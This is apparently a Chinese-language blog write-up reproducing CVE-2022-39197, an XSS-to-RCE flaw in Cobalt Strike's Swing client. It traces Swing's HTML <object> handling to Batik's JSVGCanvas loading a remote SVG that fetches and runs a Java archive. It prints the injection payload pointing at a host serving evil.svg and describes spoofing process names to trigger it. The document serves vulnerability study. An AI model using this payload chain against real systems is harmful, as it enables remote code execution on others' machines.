CVE-2022-39197 CS RCE复现分析
Cobalt Strike(也称CS)由美国Red Team开发,是一款基于java的内网渗透测试工具,是最早的公共红队指挥和控制框架之一。Cobalt Strike旨在通过模拟几种可能的攻击工具和场景,允许渗透测试人员和网络防御人员检查他们的安全专业的强度。然而,安全测试套件也被黑客(包括勒索软件团伙)广泛使用,以渗透目标网络
该漏洞存在于Cobalt Strike的Beacon软件中,可能允许攻击者通过在Beacon配置中设置假用户名,触发XSS,进而在 CS Server上造成远程代码执行
影响范围:
- Cobalt Strike <= 4.7
漏洞原文:https://www.cobaltstrike.com/blog/out-of-band-update-cobalt-strike-4-7-1/
Swing框架
这个漏洞本质上是java自带的GUI组件swing的html注入
从官方给出的文档:https://docs.oracle.com/javase/tutorial/uiswing/components/html.html
可以知道,Swing本身是支持HTML的标签的,只需要just put the <html> tag at the beginning of the text, then use any valid HTML in the remainder
写一个demo测试一下
1 | import javax.swing.*; |
发现成功解析了img标签,但其实这套html的解析引擎是java自己实现的,并不是引了一个第三方引擎
在rt.jar包里面的javax.swing.text.html.HTML
实例化了一堆Tag对象和Attribute对象
并在javax.swing.text.html.HTMLDocument
类中将每个之前实例化的Tag都对应指定了一个Action类
javax.swing.text.html.HTMLEditorKit
里的create方法可以看到不同的标签会创建不同的view
我们就可以看到这里script直接返回HiddenTagView了,说明并不支持script标签,也就没办法执行js代码
但这里其实存在一个object标签
它反射并实例化一个继承Component的类并且通过param进行参数传递
跟进setParameters方法,可以看到该参数必须是string类型,并且必须是可写方法
总结下来就是:
- classid传入需要实例化的类,类必须继承与Component
- 必须存在无参构造方法
- 必须存在一个属性XXX,并且该属性有setXXX函数
- setXXX方法的传参数必须是接受一个string类型的参数
JSVGCanvas RCE
最终师傅们找到了一个
1 | org.apache.batik.swing.JSVGCanvas-->setURI |
这个方法的功能是设置SVG图片的地址,远程加载SVG图片
在网上找了一个XXE的漏洞:Apache Batik XXE—【CVE-2017-5662】,但是这个漏洞在1.9版本就已经修复了,现在的batik版本已经是1.14
在解析svg时会调用到org.apache.batik.bridge.BaseScriptingEnvironment
类的loadScripts方法
可以看出通过获取type来走不同的分支流程,默认为text/ecmascript
,这种方式可以通过javascript库来执行命令,但是由于默认CS的jar包中并没有javascript库,导致这种方式并不能执行利用,但是我们可以走另一个分支流程,是type为application/java-archive
的情况
这段代码通过var26加载远程的jar包,然后loadClass加载var13对应的类,如果var26可控,那么我们就可以通过这种方式来构造RCE
跟进XLinkSupport.getXLinkHref
方法
发现是URL地址来自于namespaceURI为http://www.w3.org/1999/xlink
的href属性
这里有两种方式:
一种是实现EventListenerInitializer类,MANIFEST.MF指定SVG-Handler-Class
一种是实现ScriptHandler类,MANIFEST.MF指定Script-Handler
其实早在2012年就有利用方式了:https://www.agarri.fr/blog/archives/2012/05/11/svg_files_and_java_code_execution/index.html
evil.svg:
1 | <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0"> |
然后Swing加载
1 | <html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://127.0.0.1:8000/evil.svg'></object> |
成功rce
漏洞利用
网上已经公开了脚本:https://github.com/its-arun/CVE-2022-39197
可以通过frada脚本来hook win api修改tasklist返回的进程名,将进程名改写成攻击payload,当攻击者点击beacon执行列出进程时,只要他浏览到带有payload的进程名,就会执行RCE
参考文章:
CS的RCE利用研究
最新CS RCE曲折的复现路
反制Cobaltstrike的那些手段
最新CS RCE(CVE-2022-39197)复现心得分享
CS Xss2Rce CVE-2022-39197分析与复现